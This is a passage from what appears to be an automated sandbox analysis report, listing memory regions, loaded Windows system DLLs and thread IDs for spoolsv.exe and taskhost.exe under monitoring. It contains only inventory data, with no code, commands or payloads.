filename = "" Region: id = 5973 start_va = 0x3210000 end_va = 0x321ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003210000" filename = "" Region: id = 5974 start_va = 0x3220000 end_va = 0x331ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003220000" filename = "" Region: id = 5975 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5976 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5977 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5978 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5979 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5980 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5981 start_va = 0xffb40000 end_va = 0xffbcbfff monitored = 0 entry_point = 0xffb4f1e0 region_type = mapped_file name = "spoolsv.exe" filename = "\\Windows\\System32\\spoolsv.exe" (normalized: "c:\\windows\\system32\\spoolsv.exe") Region: id = 5982 start_va = 0x7fef26a0000 end_va = 0x7fef275cfff monitored = 0 entry_point = 0x7fef26a9a9c region_type = mapped_file name = "win32spl.dll" filename = "\\Windows\\System32\\win32spl.dll" (normalized: "c:\\windows\\system32\\win32spl.dll") Region: id = 5983 start_va = 0x7fef2760000 end_va = 0x7fef287efff monitored = 0 entry_point = 0x7fef2761048 region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\System32\\webservices.dll" (normalized: "c:\\windows\\system32\\webservices.dll") Region: id = 5984 start_va = 0x7fef2880000 end_va = 0x7fef2a71fff monitored = 0 entry_point = 0x7fef288101c region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 5985 start_va = 0x7fef38e0000 end_va = 0x7fef3912fff monitored = 0 entry_point = 0x7fef38e4cfc region_type = mapped_file name = "fundisc.dll" filename = "\\Windows\\System32\\fundisc.dll" (normalized: "c:\\windows\\system32\\fundisc.dll") Region: id = 5986 start_va = 0x7fef3920000 end_va = 0x7fef39b0fff monitored = 0 entry_point = 0x7fef392237c region_type = mapped_file name = "wsdapi.dll" filename = "\\Windows\\System32\\WSDApi.dll" (normalized: "c:\\windows\\system32\\wsdapi.dll") Region: id = 5987 start_va = 0x7fef3a30000 end_va = 0x7fef3a5cfff monitored = 0 entry_point = 0x7fef3a3136c region_type = mapped_file name = "inetpp.dll" filename = "\\Windows\\System32\\inetpp.dll" (normalized: "c:\\windows\\system32\\inetpp.dll") Region: id = 5988 start_va = 0x7fef4e70000 end_va = 0x7fef4ee0fff monitored = 0 entry_point = 0x7fef4eaecc4 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 5989 start_va = 0x7fef60d0000 end_va = 0x7fef60ddfff monitored = 0 entry_point = 0x7fef60d1020 region_type = mapped_file name = "winprint.dll" filename = "\\Windows\\System32\\spool\\prtprocs\\x64\\winprint.dll" (normalized: "c:\\windows\\system32\\spool\\prtprocs\\x64\\winprint.dll") Region: id = 5990 start_va = 0x7fef60e0000 end_va = 0x7fef60edfff monitored = 0 entry_point = 0x7fef60e82c4 region_type = mapped_file name = "fxsmon.dll" filename = "\\Windows\\System32\\FXSMON.dll" (normalized: "c:\\windows\\system32\\fxsmon.dll") Region: id = 5991 start_va = 0x7fef60f0000 end_va = 0x7fef60fffff monitored = 0 entry_point = 0x7fef60f9c20 region_type = mapped_file name = "fdpnp.dll" filename = "\\Windows\\System32\\fdPnp.dll" (normalized: "c:\\windows\\system32\\fdpnp.dll") Region: id = 5992 start_va = 0x7fef6100000 end_va = 0x7fef6139fff monitored = 0 entry_point = 0x7fef61213b4 region_type = mapped_file name = "wsdmon.dll" filename = "\\Windows\\System32\\WSDMon.dll" (normalized: "c:\\windows\\system32\\wsdmon.dll") Region: id = 5993 start_va = 0x7fef6140000 end_va = 0x7fef6146fff monitored = 0 entry_point = 0x7fef61419a4 region_type = mapped_file name = "wls0wndh.dll" filename = "\\Windows\\System32\\WlS0WndH.dll" (normalized: "c:\\windows\\system32\\wls0wndh.dll") Region: id = 5994 start_va = 0x7fef6150000 end_va = 0x7fef615efff monitored = 0 entry_point = 0x7fef615141c region_type = mapped_file name = "usbmon.dll" filename = "\\Windows\\System32\\usbmon.dll" (normalized: "c:\\windows\\system32\\usbmon.dll") Region: id = 5995 start_va = 0x7fef8b90000 end_va = 0x7fef8b97fff monitored = 0 entry_point = 0x7fef8b91414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 5996 start_va = 0x7fef9670000 end_va = 0x7fef967ffff monitored = 0 entry_point = 0x7fef9678a48 region_type = mapped_file name = "printisolationproxy.dll" filename = "\\Windows\\System32\\PrintIsolationProxy.dll" (normalized: "c:\\windows\\system32\\printisolationproxy.dll") Region: id = 5997 start_va = 0x7fef9680000 end_va = 0x7fef9693fff monitored = 0 entry_point = 0x7fef968111c region_type = mapped_file name = "wsnmp32.dll" filename = "\\Windows\\System32\\wsnmp32.dll" (normalized: "c:\\windows\\system32\\wsnmp32.dll") Region: id = 5998 start_va = 0x7fef96a0000 end_va = 0x7fef96aafff monitored = 0 entry_point = 0x7fef96a5390 region_type = mapped_file name = "snmpapi.dll" filename = "\\Windows\\System32\\snmpapi.dll" (normalized: "c:\\windows\\system32\\snmpapi.dll") Region: id = 5999 start_va = 0x7fef96b0000 end_va = 0x7fef96e3fff monitored = 0 entry_point = 0x7fef96b2f78 region_type = mapped_file name = "tcpmon.dll" filename = "\\Windows\\System32\\tcpmon.dll" (normalized: "c:\\windows\\system32\\tcpmon.dll") Region: id = 6000 start_va = 0x7fef96f0000 end_va = 0x7fef9701fff monitored = 0 entry_point = 0x7fef96f1064 region_type = mapped_file name = "spoolss.dll" filename = "\\Windows\\System32\\spoolss.dll" (normalized: "c:\\windows\\system32\\spoolss.dll") Region: id = 6001 start_va = 0x7fef9710000 end_va = 0x7fef97fdfff monitored = 0 entry_point = 0x7fef97287d4 region_type = mapped_file name = "localspl.dll" filename = "\\Windows\\System32\\localspl.dll" (normalized: "c:\\windows\\system32\\localspl.dll") Region: id = 6002 start_va = 0x7fef9800000 end_va = 0x7fef9812fff monitored = 0 entry_point = 0x7fef980c390 region_type = mapped_file name = "umb.dll" filename = "\\Windows\\System32\\umb.dll" (normalized: "c:\\windows\\system32\\umb.dll") Region: id = 6003 start_va = 0x7fefa1f0000 end_va = 0x7fefa1fefff monitored = 0 entry_point = 0x7fefa1f1040 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 6004 start_va = 0x7fefa4b0000 end_va = 0x7fefa4c7fff monitored = 0 entry_point = 0x7fefa4b1bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 6005 start_va = 0x7fefa4d0000 end_va = 0x7fefa4e0fff monitored = 0 entry_point = 0x7fefa4d16ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 6006 start_va = 0x7fefa520000 end_va = 0x7fefa572fff monitored = 0 entry_point = 0x7fefa522b98 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6007 start_va = 0x7fefa730000 end_va = 0x7fefa73afff monitored = 0 entry_point = 0x7fefa731198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 6008 start_va = 0x7fefa740000 end_va = 0x7fefa766fff monitored = 0 entry_point = 0x7fefa7498bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 6009 start_va = 0x7fefa810000 end_va = 0x7fefa81afff monitored = 0 entry_point = 0x7fefa814f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 6010 start_va = 0x7fefa820000 end_va = 0x7fefa82bfff monitored = 0 entry_point = 0x7fefa8215d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 6011 start_va = 0x7fefa840000 end_va = 0x7fefa858fff monitored = 0 entry_point = 0x7fefa8411a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 6012 start_va = 0x7fefac10000 end_va = 0x7fefac3bfff monitored = 0 entry_point = 0x7fefac115c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 6013 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 6014 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6015 start_va = 0x7fefbe40000 end_va = 0x7fefbefafff monitored = 0 entry_point = 0x7fefbe46de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 6016 start_va = 0x7fefbf00000 end_va = 0x7fefbf06fff monitored = 0 entry_point = 0x7fefbf014b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 6017 start_va = 0x7fefbff0000 end_va = 0x7fefc00afff monitored = 0 entry_point = 0x7fefbff2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 6018 start_va = 0x7fefc010000 end_va = 0x7fefc02dfff monitored = 0 entry_point = 0x7fefc0113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 6019 start_va = 0x7fefc030000 end_va = 0x7fefc041fff monitored = 0 entry_point = 0x7fefc031060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 6020 start_va = 0x7fefc050000 end_va = 0x7fefc06efff monitored = 0 entry_point = 0x7fefc055c68 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 6021 start_va = 0x7fefc160000 end_va = 0x7fefc169fff monitored = 0 entry_point = 0x7fefc163cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 6022 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6023 start_va = 0x7fefc380000 end_va = 0x7fefc3dafff monitored = 0 entry_point = 0x7fefc386940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 6024 start_va = 0x7fefc4f0000 end_va = 0x7fefc4f6fff monitored = 0 entry_point = 0x7fefc4f142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 6025 start_va = 0x7fefc500000 end_va = 0x7fefc554fff monitored = 0 entry_point = 0x7fefc501054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 6026 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 6027 start_va = 0x7fefca60000 end_va = 0x7fefca82fff monitored = 0 entry_point = 0x7fefca61198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 6028 start_va = 0x7fefcb00000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcb01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 6029 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 6030 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6031 start_va = 0x7fefcc10000 end_va = 0x7fefcc4cfff monitored = 0 entry_point = 0x7fefcc118f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 6032 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 6033 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 6034 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 6035 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6036 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 6037 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6038 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 6039 start_va = 0x7fefd000000 end_va = 0x7fefd03afff monitored = 0 entry_point = 0x7fefd001324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 6040 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6041 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 6042 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6043 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 6044 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6045 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6046 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6047 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 6048 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 6049 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6050 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6051 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6052 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 6053 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 6054 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 6055 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6056 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 6057 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 6058 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 6059 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 6060 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 6061 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 6062 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 6063 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 6064 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 6065 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 6066 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 6067 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 6068 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 6069 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 6070 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 6071 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 6072 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Thread: id = 359 os_tid = 0xe24 Thread: id = 360 os_tid = 0xe2c Thread: id = 361 os_tid = 0x8a4 Thread: id = 362 os_tid = 0x8a0 Thread: id = 363 os_tid = 0x898 Thread: id = 364 os_tid = 0x894 Thread: id = 365 os_tid = 0x890 Thread: id = 366 os_tid = 0x88c Thread: id = 367 os_tid = 0x888 Thread: id = 368 os_tid = 0x788 Thread: id = 369 os_tid = 0x488 Thread: id = 370 os_tid = 0x470 Thread: id = 371 os_tid = 0x46c Thread: id = 372 os_tid = 0x458 Process: id = "23" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x79e1b000" os_pid = "0x474" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x1cc" cmd_line = "\"taskhost.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3627 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3628 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskhost.exe.mui" filename = "\\Windows\\System32\\en-US\\taskhost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\taskhost.exe.mui") Region: id = 3629 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3630 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3631 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3632 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3633 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3634 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3635 start_va = 0xf0000 end_va = 0xf0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msctfmonitor.dll.mui" filename = "\\Windows\\System32\\en-US\\MsCtfMonitor.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msctfmonitor.dll.mui") Region: id = 3636 start_va = 0x100000 end_va = 0x101fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3637 start_va = 0x110000 end_va = 0x115fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winmm.dll.mui" filename = "\\Windows\\System32\\en-US\\winmm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winmm.dll.mui") Region: id = 3638 start_va = 0x130000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3639 start_va = 0x250000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 3640 start_va = 0x3c0000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3641 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 3642 start_va = 0x450000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3643 start_va = 0x550000 end_va = 0x6d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 3644 start_va = 0x6e0000 end_va = 0x860fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 3645 start_va = 0x870000 end_va = 0x1c6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 3646 start_va = 0x1c70000 end_va = 0x1d4efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c70000" filename = "" Region: id = 3647 start_va = 0x1d80000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d80000" filename = "" Region: id = 3648 start_va = 0x1e00000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 3649 start_va = 0x1e80000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 3650 start_va = 0x1f00000 end_va = 0x1f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f00000" filename = "" Region: id = 3651 start_va = 0x1f80000 end_va = 0x203ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" 